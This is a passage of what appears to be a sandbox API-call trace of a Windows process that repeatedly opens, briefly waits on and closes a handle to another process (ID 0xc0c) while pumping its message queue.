[0252.552] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.552] Sleep (dwMilliseconds=0x1) [0252.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.568] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.584] CloseHandle (hObject=0x874) returned 1 [0252.584] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.584] Sleep (dwMilliseconds=0x1) [0252.599] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.599] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.615] CloseHandle (hObject=0x874) returned 1 [0252.615] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.615] Sleep (dwMilliseconds=0x1) [0252.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.630] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.649] CloseHandle (hObject=0x874) returned 1 [0252.649] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.649] Sleep (dwMilliseconds=0x1) [0252.663] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.664] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.677] CloseHandle (hObject=0x874) returned 1 [0252.678] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.678] Sleep (dwMilliseconds=0x1) [0252.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.693] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.709] CloseHandle (hObject=0x874) returned 1 [0252.709] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.709] Sleep (dwMilliseconds=0x1) [0252.724] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.724] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.740] CloseHandle (hObject=0x874) returned 1 [0252.740] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.740] Sleep (dwMilliseconds=0x1) [0252.755] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.756] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.773] CloseHandle (hObject=0x874) returned 1 [0252.773] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.773] Sleep (dwMilliseconds=0x1) [0252.786] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.787] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.802] CloseHandle (hObject=0x874) returned 1 [0252.802] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.802] Sleep (dwMilliseconds=0x1) [0252.818] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x874 [0252.818] WaitForSingleObject (hHandle=0x874, dwMilliseconds=0xa) returned 0x102 [0252.834] CloseHandle (hObject=0x874) returned 1 [0252.834] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.834] Sleep (dwMilliseconds=0x1) [0252.850] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x880 [0252.850] WaitForSingleObject (hHandle=0x880, dwMilliseconds=0xa) returned 0x102 [0252.867] CloseHandle (hObject=0x880) returned 1 [0252.867] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.867] Sleep (dwMilliseconds=0x1) [0252.880] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x880 [0252.881] WaitForSingleObject (hHandle=0x880, dwMilliseconds=0xa) returned 0x102 [0252.908] CloseHandle (hObject=0x880) returned 1 [0252.908] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.908] Sleep (dwMilliseconds=0x1) [0252.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x880 [0252.912] WaitForSingleObject (hHandle=0x880, dwMilliseconds=0xa) returned 0x102 [0252.927] CloseHandle (hObject=0x880) returned 1 [0252.927] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.927] Sleep (dwMilliseconds=0x1) [0252.944] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x880 [0252.944] WaitForSingleObject (hHandle=0x880, dwMilliseconds=0xa) returned 0x102 [0252.959] CloseHandle (hObject=0x880) returned 1 [0252.959] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.959] Sleep (dwMilliseconds=0x1) [0252.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x88c [0252.974] WaitForSingleObject (hHandle=0x88c, dwMilliseconds=0xa) returned 0x102 [0252.990] CloseHandle (hObject=0x88c) returned 1 [0252.990] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0252.990] Sleep (dwMilliseconds=0x1) [0253.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x88c [0253.005] WaitForSingleObject (hHandle=0x88c, dwMilliseconds=0xa) returned 0x102 [0253.021] CloseHandle (hObject=0x88c) returned 1 [0253.021] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.021] Sleep (dwMilliseconds=0x1) [0253.039] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x890 [0253.039] WaitForSingleObject (hHandle=0x890, dwMilliseconds=0xa) returned 0x102 [0253.052] CloseHandle (hObject=0x890) returned 1 [0253.052] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.052] Sleep (dwMilliseconds=0x1) [0253.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x890 [0253.068] WaitForSingleObject (hHandle=0x890, dwMilliseconds=0xa) returned 0x102 [0253.086] CloseHandle (hObject=0x890) returned 1 [0253.086] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.086] Sleep (dwMilliseconds=0x1) [0253.101] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x890 [0253.101] WaitForSingleObject (hHandle=0x890, dwMilliseconds=0xa) returned 0x102 [0253.115] CloseHandle (hObject=0x890) returned 1 [0253.115] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.115] Sleep (dwMilliseconds=0x1) [0253.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x890 [0253.130] WaitForSingleObject (hHandle=0x890, dwMilliseconds=0xa) returned 0x102 [0253.146] CloseHandle (hObject=0x890) returned 1 [0253.146] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.146] Sleep (dwMilliseconds=0x1) [0253.166] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x890 [0253.166] WaitForSingleObject (hHandle=0x890, dwMilliseconds=0xa) returned 0x102 [0253.178] CloseHandle (hObject=0x890) returned 1 [0253.178] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.178] Sleep (dwMilliseconds=0x1) [0253.193] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.193] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.215] CloseHandle (hObject=0x89c) returned 1 [0253.215] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.215] Sleep (dwMilliseconds=0x1) [0253.224] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.224] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.240] CloseHandle (hObject=0x89c) returned 1 [0253.240] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.240] Sleep (dwMilliseconds=0x1) [0253.256] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.256] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.271] CloseHandle (hObject=0x89c) returned 1 [0253.271] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.271] Sleep (dwMilliseconds=0x1) [0253.288] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.288] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.302] CloseHandle (hObject=0x89c) returned 1 [0253.302] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.302] Sleep (dwMilliseconds=0x1) [0253.318] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.318] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.333] CloseHandle (hObject=0x89c) returned 1 [0253.334] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.334] Sleep (dwMilliseconds=0x1) [0253.349] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.349] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.365] CloseHandle (hObject=0x89c) returned 1 [0253.365] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.365] Sleep (dwMilliseconds=0x1) [0253.380] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.380] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.398] CloseHandle (hObject=0x89c) returned 1 [0253.398] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.398] Sleep (dwMilliseconds=0x1) [0253.412] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.412] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.427] CloseHandle (hObject=0x89c) returned 1 [0253.427] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.427] Sleep (dwMilliseconds=0x1) [0253.454] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x89c [0253.454] WaitForSingleObject (hHandle=0x89c, dwMilliseconds=0xa) returned 0x102 [0253.458] CloseHandle (hObject=0x89c) returned 1 [0253.458] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.458] Sleep (dwMilliseconds=0x1) [0253.474] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8ac [0253.474] WaitForSingleObject (hHandle=0x8ac, dwMilliseconds=0xa) returned 0x102 [0253.490] CloseHandle (hObject=0x8ac) returned 1 [0253.490] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.490] Sleep (dwMilliseconds=0x1) [0253.506] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b0 [0253.506] WaitForSingleObject (hHandle=0x8b0, dwMilliseconds=0xa) returned 0x102 [0253.521] CloseHandle (hObject=0x8b0) returned 1 [0253.521] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.521] Sleep (dwMilliseconds=0x1) [0253.537] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b4 [0253.537] WaitForSingleObject (hHandle=0x8b4, dwMilliseconds=0xa) returned 0x102 [0253.552] CloseHandle (hObject=0x8b4) returned 1 [0253.552] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.552] Sleep (dwMilliseconds=0x1) [0253.568] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b4 [0253.568] WaitForSingleObject (hHandle=0x8b4, dwMilliseconds=0xa) returned 0x102 [0253.584] CloseHandle (hObject=0x8b4) returned 1 [0253.584] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.584] Sleep (dwMilliseconds=0x1) [0253.599] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b4 [0253.599] WaitForSingleObject (hHandle=0x8b4, dwMilliseconds=0xa) returned 0x102 [0253.616] CloseHandle (hObject=0x8b4) returned 1 [0253.616] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.616] Sleep (dwMilliseconds=0x1) [0253.630] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.630] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.646] CloseHandle (hObject=0x8b8) returned 1 [0253.646] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.646] Sleep (dwMilliseconds=0x1) [0253.662] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.662] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.677] CloseHandle (hObject=0x8b8) returned 1 [0253.677] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.677] Sleep (dwMilliseconds=0x1) [0253.693] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.693] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.709] CloseHandle (hObject=0x8b8) returned 1 [0253.709] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.709] Sleep (dwMilliseconds=0x1) [0253.724] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.724] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.740] CloseHandle (hObject=0x8b8) returned 1 [0253.740] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.740] Sleep (dwMilliseconds=0x1) [0253.755] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.756] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.771] CloseHandle (hObject=0x8b8) returned 1 [0253.771] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.771] Sleep (dwMilliseconds=0x1) [0253.787] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.787] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.802] CloseHandle (hObject=0x8b8) returned 1 [0253.802] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.803] Sleep (dwMilliseconds=0x1) [0253.818] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.818] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.834] CloseHandle (hObject=0x8b8) returned 1 [0253.834] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.834] Sleep (dwMilliseconds=0x1) [0253.849] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.849] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.865] CloseHandle (hObject=0x8b8) returned 1 [0253.865] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.865] Sleep (dwMilliseconds=0x1) [0253.880] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.880] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.901] CloseHandle (hObject=0x8b8) returned 1 [0253.901] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.901] Sleep (dwMilliseconds=0x1) [0253.912] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.912] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.927] CloseHandle (hObject=0x8b8) returned 1 [0253.927] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.927] Sleep (dwMilliseconds=0x1) [0253.945] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.945] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.959] CloseHandle (hObject=0x8b8) returned 1 [0253.959] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.959] Sleep (dwMilliseconds=0x1) [0253.974] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0253.974] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0253.991] CloseHandle (hObject=0x8b8) returned 1 [0253.991] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0253.991] Sleep (dwMilliseconds=0x1) [0254.005] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.006] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.021] CloseHandle (hObject=0x8b8) returned 1 [0254.021] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.021] Sleep (dwMilliseconds=0x1) [0254.037] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.037] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.052] CloseHandle (hObject=0x8b8) returned 1 [0254.052] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.052] Sleep (dwMilliseconds=0x1) [0254.068] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.068] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.084] CloseHandle (hObject=0x8b8) returned 1 [0254.084] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.084] Sleep (dwMilliseconds=0x1) [0254.099] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.099] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.115] CloseHandle (hObject=0x8b8) returned 1 [0254.115] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.115] Sleep (dwMilliseconds=0x1) [0254.130] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.130] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.146] CloseHandle (hObject=0x8b8) returned 1 [0254.146] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.146] Sleep (dwMilliseconds=0x1) [0254.162] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.162] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.177] CloseHandle (hObject=0x8b8) returned 1 [0254.177] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.177] Sleep (dwMilliseconds=0x1) [0254.196] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.196] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.209] CloseHandle (hObject=0x8b8) returned 1 [0254.209] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.209] Sleep (dwMilliseconds=0x1) [0254.210] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.210] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.220] CloseHandle (hObject=0x8b8) returned 1 [0254.220] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.220] Sleep (dwMilliseconds=0x1) [0254.222] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.222] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.232] CloseHandle (hObject=0x8b8) returned 1 [0254.232] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.232] Sleep (dwMilliseconds=0x1) [0254.233] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.233] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.258] CloseHandle (hObject=0x8b8) returned 1 [0254.258] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.258] Sleep (dwMilliseconds=0x1) [0254.273] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.273] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.289] CloseHandle (hObject=0x8b8) returned 1 [0254.290] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.290] Sleep (dwMilliseconds=0x1) [0254.305] OpenProcess (dwDesiredAccess=0x100000, bInheritHandle=0, dwProcessId=0xc0c) returned 0x8b8 [0254.305] WaitForSingleObject (hHandle=0x8b8, dwMilliseconds=0xa) returned 0x102 [0254.320] CloseHandle (hObject=0x8b8) returned 1 [0254.320] PeekMessageW (in: lpMsg=0x354f90c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x354f90c) returned 0 [0254.321] Sleep (dwMilliseconds=0x1) [0254.338] 